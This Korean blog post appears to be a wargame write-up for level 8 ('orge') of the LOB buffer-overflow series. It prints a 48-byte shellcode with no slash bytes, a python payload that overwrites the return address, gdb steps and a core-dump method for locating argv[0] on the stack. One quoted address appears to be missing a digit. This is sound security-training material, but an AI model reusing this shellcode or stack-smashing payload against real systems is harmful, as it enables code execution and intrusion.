본문 바로가기
wargame/LOB

[포너블] LOB 8 - orge

by 아메리카노와떡볶이 2021. 10. 3.
728x90
LOB 8  - orge write up

LOB 8 orge write up 입니다.

 

계속해서 같은 스택프레임 구조에 제약사항만 추가되는 형태로 문제가 진행되고 있다.

이번에는

argc가 2개 그니까, 하나의 명령어를 가지고 문제를 해결하란 소리다.

이전에 argv[2] 에 쉘코드를 넣고 주소를 주던 그런 방식은 더 이상 통하지 않는다

 

총 제약을 정리하면 다음과 같다.

환경변수 초기화 -> 환경변수 사용 x
버퍼 초기화 -> 버퍼 내부에 쉘코드 넣는것 x
argv[1]의 길이제한
48번째 바이트는 \xbf
하나의 인자만 입력 가능

좀 고민하면서 삽질해보다가 잘 모르겠어서 또 다른 분들의 라업을 참고했는데 내가 처음에 생각한 아이디어는 맞았다

바로 이전 문제에서 사용한 심볼릭 링크가 그렇게 의미 있지않게 사용되었다고 느꼈기때문에.. 심볼릭 링크를 이용해서

쉘코드를 argv[0]에 넣어 사용하는 것이다.

그리고 argv[0]의 주소를 ret으로 주는 페이로드를 작성하면 문제를 풀 수 있다.

 

하지만 여기서 한가지 주의할점은 쉘코드중 \x2f가 파일명에서 사용되면 인식이 되지않기때문에 \x2f가 없는 쉘코드로 구해야한다.

https://m.blog.naver.com/mathboy7/220215329450

 

쉘코드 모음

포너블 문제 풀때 여러모로 유용하게 사용되는 쉘코드들을 작성해서 모아봤습니다. 찾기 편하시라고.... 블...

blog.naver.com

 

위의 블로그에서 제공해주는 파일명 shellcode를 가져왔다. (48byte)

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

이전문제와 마찬가지로 그럼 파일링크를 생성하자.

 

그리고 이제 argv[0] 즉 파일이름이 저장되는 메모리 주소를 알아야한다.

복사본 파일을 만들고 찾아보기 쉽게 파일이름으로 50개의 C를 주자.

[orge@localhost tmp]$ mv troll `python -c 'print "C"*50'`
[orge@localhost tmp]$ ls
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
[orge@localhost tmp]$ gdb CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

 

main+242 에 bp를 걸고 

esp를 확인한다.

c가 나오는 구간의  적당한 주소 0xbffffbe4를 선택해보자.

 

 

argv[0] : ./\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

argv[1] : `python -c 'print "A" * 44 + "\xe4\xfb\xff\xbf" '`

payload :

이렇게하면 될줄 알았는데 안된다.  막힐때마다 core dump를 확인해보면 도움이 됐던것 같아서

이번에 그냥 앞에서 생성한 링크의 복사본을 tmp 디렉토리에 넣고 gdb로 뜯어보았다.

 

0xbfffb60부터 nop-sled와 쉘코드가 깔려있는것을 찾았다. core dump 파일에서 얻은 argv[0] 주소로 다시 시도해보자

 

성공했다.

실제 프로세스가 가동될때와 gdb로 뜯어볼때의 스택주소가 차이날수있다는 글도 보았는데.. core dump 를 뜯어보는게

좀 더 정확한 주소가 나오는거같다

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 10 - vampire  (0) 2021.10.03
[포너블] LOB 9 - troll  (0) 2021.10.03
[포너블] LOB 7 - darkelf  (0) 2021.10.03
[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30

댓글